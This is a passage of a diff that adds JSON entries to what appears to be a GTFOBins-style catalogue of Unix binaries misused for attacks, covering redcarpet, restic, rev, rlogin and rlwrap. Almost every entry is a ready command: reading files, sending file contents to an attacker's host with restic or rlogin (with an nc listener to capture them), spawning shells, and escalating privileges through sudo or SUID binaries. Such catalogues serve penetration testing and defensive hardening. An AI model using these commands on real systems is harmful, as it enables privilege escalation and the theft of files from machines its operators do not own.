+ "file-read": [
5
+ {
6
+ "code": "redcarpet \"[file]\"\n"
7
+ }
8
+ ],
9
+ "sudo": [
10
+ {
11
+ "code": "sudo redcarpet \"[file]\"\n"
12
+ }
13
+ ]
14
+ }
15
+ }
gtfo/data/restic.json ADDED
@@ -0,0 +1,20 @@
1
+ {
2
+ "description": "The attacker must setup a server to receive the backups, in the following example https://github.com/restic/rest-server/ is used but there are other options. To start a new instance and create a new repository:\n\n./rest-server --listen \":[port]\"\nrestic init -r \"rest:http://localhost:[port]/[file]\"\n\nTo extract the data from the restic repository in the current directory on the attacker side:\n\nrestic restore -r \"/tmp/restic/[file]\" latest --target .\n\nUpload data to the attacker server with the following commands.\n",
3
+ "functions": {
4
+ "file-upload": [
5
+ {
6
+ "code": "restic backup -r \"rest:http://[host]:[port]/[backup]\" \"[file]\"\n"
7
+ }
8
+ ],
9
+ "sudo": [
10
+ {
11
+ "code": "sudo restic backup -r \"rest:http://[host]:[port]/[backup]\" \"[file]\"\n"
12
+ }
13
+ ],
14
+ "suid": [
15
+ {
16
+ "code": "./restic backup -r \"rest:http://[host]:[port]/[backup]\" \"[file]\"\n"
17
+ }
18
+ ]
19
+ }
20
+ }
gtfo/data/rev.json ADDED
@@ -0,0 +1,19 @@
1
+ {
2
+ "functions": {
3
+ "file-read": [
4
+ {
5
+ "code": "rev [file] | rev\n"
6
+ }
7
+ ],
8
+ "suid": [
9
+ {
10
+ "code": "./rev [file] | rev\n"
11
+ }
12
+ ],
13
+ "sudo": [
14
+ {
15
+ "code": "sudo rev [file] | rev\n"
16
+ }
17
+ ]
18
+ }
19
+ }
gtfo/data/rlogin.json ADDED
@@ -0,0 +1,11 @@
1
+ {
2
+ "description": "Usually 'rlogin' is a symlink to 'ssh' the following works only when the real 'rlogin' is used (e.g., from the 'rsh-client' APT package).",
3
+ "functions": {
4
+ "file-upload": [
5
+ {
6
+ "description": "Send contents of a file to a TCP port. Run 'nc -l -p [port] > [file]' on the attacker system to capture the contents. 'rlogin' hangs waiting for the remote peer to close the socket. The file is corrupted by leading and trailing spurious data.",
7
+ "code": "rlogin -l \"$(cat [file])\" -p [port] [host]\n"
8
+ }
9
+ ]
10
+ }
11
+ }
gtfo/data/rlwrap.json ADDED
@@ -0,0 +1,25 @@
1
+ {
2
+ "functions": {
3
+ "shell": [
4
+ {
5
+ "code": "rlwrap /bin/sh"
6
+ }
7
+ ],
8
+ "file-write": [
9
+ {
10
+ "description": "This adds timestamps to the output file. This relies on the external 'echo' command.",
11
+ "code": "rlwrap -l [file] echo DATA\n"
12
+ }
13
+ ],
14
+ "suid": [
15
+ {
16
+ "code": "./rlwrap -H /dev/null /bin/sh -p"
17
+ }
18
+ ],
19
+ "sudo": [
20
+ {
21
+ "code": "sudo rlwrap /bin/sh"
22
+ }
23
+ ]
24
+ }
25
+ }